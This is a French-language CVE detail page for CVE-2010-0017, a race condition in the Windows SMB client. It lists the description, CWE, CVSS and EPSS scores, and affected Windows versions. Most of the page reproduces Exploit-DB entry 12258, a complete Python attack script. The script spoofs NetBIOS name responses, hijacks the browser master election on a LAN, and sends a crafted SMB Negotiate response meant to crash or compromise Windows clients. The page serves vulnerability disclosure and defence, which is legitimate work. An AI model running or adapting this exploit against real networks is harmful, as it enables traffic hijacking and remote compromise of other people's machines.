CVE-2010-0017 : Détail

CVE-2010-0017

0.93%V3
Network
2010-02-10
17h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Race condition in the SMB client implementation in Microsoft Windows Server 2008 R2 and Windows 7 allows remote SMB servers and man-in-the-middle attackers to execute arbitrary code, and in the SMB client implementation in Windows Vista Gold, SP1, and SP2 and Server 2008 Gold and SP2 allows local users to gain privileges, via a crafted SMB Negotiate response, aka "SMB Client Race Condition Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 12258

Date de publication : 2010-04-15 22h00 +00:00
Auteur : laurent gaffie
EDB Vérifié : Yes

# More Info: http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html import sys,SocketServer,socket,threading,time,random from random import * from time import sleep from socket import * if len(sys.argv)<=2: sys.exit('Usage: pwn.py Your_ip Broadcast_ip\n\r Example: pwn.py 10.0.0.1 10.0.0.255') ip = str(sys.argv[1]) nbns = str(sys.argv[2]),137 browser = str(sys.argv[2]),138 elec = "\x42\x4f\x00" domainmasterbro = "\x42\x4c\x00" ##BROWSER election request browserelect = [chr(int(a, 16)) for a in """ 11 02 bd 82 c0 a8 00 96 00 8a 00 ae 00 00 20 46 47 45 4e 45 43 45 50 46 49 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 41 41 00 20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42 4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 14 00 00 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 00 00 14 00 56 00 03 00 01 00 01 00 02 00 25 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57 53 45 00 08 09 a8 0f 01 20 1b e9 a5 00 00 00 00 00 56 4d 42 4f 58 00""".split()] ##Local Master Announcement browsermaster = [chr(int(a, 16)) for a in """ 11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45 4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00 20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42 4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01 00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57 53 45 00 0f 00 80 fc 0a 00 4d 41 53 54 45 52 00 00 00 00 00 00 00 00 00 00 00 06 2b 10 84 00 00 0f 01 55 aa 00""".split()] resetcache = [chr(int(a, 16)) for a in """ 11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45 4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00 20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41 42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01 00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57 53 45 00 0e 02""".split()] resetlbm = [chr(int(a, 16)) for a in """ 11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45 4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00 20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41 42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01 00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57 53 45 00 0e 01""".split()] ##Browser Master annoncement masterannon = [chr(int(a, 16)) for a in """ 11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45 4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00 20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42 4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01 00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57 53 45 00 0d 4d 41 53 54 45 52 00""".split()] regmsbrowse = [chr(int(a, 16)) for a in """ be 6e 29 10 00 01 00 00 00 00 00 01 20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41 42 00 00 20 00 01 c0 0c 00 20 00 01 00 04 93 e0 00 06 80 00 c0 a8 00 96""".split()] ##NBNS Spoofing spoof = [chr(int(a, 16)) for a in """ 08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20 00 01 00 04 93 e0 00 06 00 00""".split()] def nametid(data,packet,service): pack = packet[:] pack[2:4]=data[2:4] ##Transaction ID pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres pack[48:82]=data[48:79]+service ##Service/domain name return pack def nametidrand(data,packet,service): pack = packet[:] pack[2:4]= "\x80"+str(chr(choice(range(256)))) ##Transaction ID pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres pack[48:82]=data[48:79]+service ##Service/domain name return pack def addipbrow(packet): pack = packet[:] pack[4:8] = inet_aton(str(sys.argv[1])) return pack def addipnb(packet): pack = packet[:] pack[len(packet)-4:] = inet_aton(str(sys.argv[1])) return pack def sockbroad(packet,host): s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) s.sendto(packet,host) class BROWSER(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) def handle(self): ip = inet_aton(str(sys.argv[1])) request, socket = self.request data = request print "From:", self.client_address if data[168] == "\x01" or data[168] == "\x0f" or data[168] == "\x08" and self.client_address[0] != sys.argv[1]: sockbroad(''.join(addipbrow(resetcache)),browser) print "[+]LMB cache Successfully Reseted" sockbroad(''.join(addipbrow(resetlbm)),browser) print "[+]LMB Successfully killed" for x in range(4): sockbroad(''.join(nametid(data,browserelect, elec)),browser) sleep(0.8) print "[+] Election Won !\n" for x in range(4): sleep(0.5) sockbroad(''.join(addipnb(regmsbrowse)),nbns) print "[+]Now Register __MSBROWSE__ :] " sockbroad(''.join(nametidrand(data,browsermaster, elec)),browser) sleep(1) sockbroad(''.join(nametidrand(data,masterannon, domainmasterbro)),browser) print "[+] Now LBM ! \n" #NBNS SPOOF; def namenbnstid(data,packet): pack = packet[:] pack[0:2]=data[0:2]##Transaction ID pack[12:48]=data[12:48]##Netbios name return pack class NBNS(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) def handle(self): request, socket = self.request data = request print "From:", self.client_address #Hijack if data[2:4] == "\x01\x10": buffer0 = ''.join(namenbnstid(data,spoof))+inet_aton(str(sys.argv[1])) socket.sendto(buffer0, self.client_address) print "Fake NBNS Response sended\n" packetnego = ( ##SMB Header "\x00\x00\x00\x7f" #Netbios length "\xff\x53\x4d\x42" #Server type "\x72" #Operation/Command "\x00\x00\x00\x00" #Statut command OK Success "\x98" #Flag 0x98 "\x53\xc8" #Flag 0xc853 "\x00\x00" #PID High "\x00\x00\x00\x00\x00\x00\x00\x00" #Signature "\x00\x00" #Reserved "\x00\x00" #Tree ID "\xff\xfe" #Process ID "\x00\x00" #User ID "\x00\x00" #Multiplex ID ##SMB Header end ##Negotiate Protocol "\x11" #Word count "\x05\x00" #Choosen dialect, no-5 from client list "\x03" #Security mode "\x41\x41" #Max MPX count "\x41\x41" #Max VCs ##Issue "\x03\x00\x00\x00" #Max buffer size; The issue is located here, as we specify an only 4 bytes max buffer length is this example. #Usually a server would provide a 4356 max buffer size. "\x41\x41\x41\x41" #Max raw buffer "\x00\x00\x00\x00" #Session key "\xfc\xe3\x01\x80" #Capabilities "\xea\xb1\x6e\x18\x11\x62\xca\x01" #System Time "\x2c\x01" #Server timezone "\x00" #Key length "\x3a\x00" #Byte count #Server GUID "\x68\x52\x38\x38\xf2\xe3\x9f\x4f\x94\x26\xbd\xcb\xca\x2e\x28\x9a" #Security Blob "\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a" "\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a" "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" ##Negotiate Protocol end ) class MS10_006(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) def handle(self): print "From:", self.client_address data = self.request.recv(256) if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) print "Session Positive Response sended\n" data = self.request.recv(1024) if data[8] == "\x72": self.request.send(packetnego) print "Negotiate Response sended kaboom !\n" data = self.request.recv(1024) def serve_thread_udp(host, port, handler): server = SocketServer.UDPServer((host, port), handler) server.serve_forever() def serve_thread_tcp(host, port, handler): server = SocketServer.TCPServer((host, port), handler) server.serve_forever() SocketServer.TCPServer.allow_reuse_address = 1 threading.Thread(target=serve_thread_tcp,args=('', 139,MS10_006)).start() threading.Thread(target=serve_thread_tcp,args=('', 445,MS10_006)).start() threading.Thread(target=serve_thread_udp,args=('', 137,NBNS)).start() threading.Thread(target=serve_thread_udp,args=('', 138,BROWSER)).start()

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Références

http://www.us-cert.gov/cas/techalerts/TA10-040A.html
Tags : third-party-advisory, x_refsource_CERT